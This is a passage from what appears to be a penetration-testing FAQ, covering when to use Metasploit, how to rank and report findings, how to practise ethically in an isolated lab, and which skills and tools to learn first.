A: Use Metasploit when a reliable module exists for your target and you have authorization to run it in a safe environment. It is fast and maintains payloads and handlers for you. Write a custom exploit when you need a tailored proof that avoids heavy payloads, when no module exists, or when you need to instrument behavior tightly. In production, prefer the minimal action that proves impact with the least risk.
Q: How do I prioritize findings in my report?
A: Rank by business impact, exploitability, and exposure. A critical finding is both impactful and easy to exploit or already being exploited in the wild. Use consistent severity definitions and provide the reasoning for each ranking. Context matters, for example, a vulnerable service on an isolated host may be lower risk than the same service on an internet facing system. Include remediation effort estimates to help teams plan.
Q: What should I include in the methodology section of a pen test report?
A: List the scope and constraints, the high level workflow you followed, and the major tools used for each phase. Include time windows and any limitations that prevented full coverage. This section should be concise but specific enough that a reviewer understands your approach. It sets expectations and guards against misunderstandings about what was tested and what was not.
Q: How can I practice pen testing ethically at home?
A: Build or use intentionally vulnerable systems in an isolated lab environment that you own. Do not scan or attack systems you do not control or without explicit permission. Practice with virtual machines, containerized apps, and local networks. Focus on full lifecycle exercises, from recon to reporting, and seek feedback on your process. Consider structured programs like the study and internship cyber security program for guided experience.
Q: Where does pen testing fit in a zero trust journey?
A: Pen testing validates whether identity centric policies, micro segmentation, and continuous evaluation actually reduce exploitable paths. You test token handling, device posture enforcement, and segmentation boundaries. Findings inform roadmap items that bring architecture closer to zero trust principles. For a broader understanding, review zero trust architectures and align tests to those concepts.
Q: What should I learn first if I want to become a penetration tester?
A: Start with networking, Linux and Windows fundamentals, programming basics, and web application concepts. Learn to use Nmap, Burp Suite, and Wireshark effectively. Practice building and breaking small labs, then add vulnerability triage with tools like Nessus. Use the cyber career guide and the cybersecurity certifications guide to plan a progression that pairs hands on skill with recognized credentials.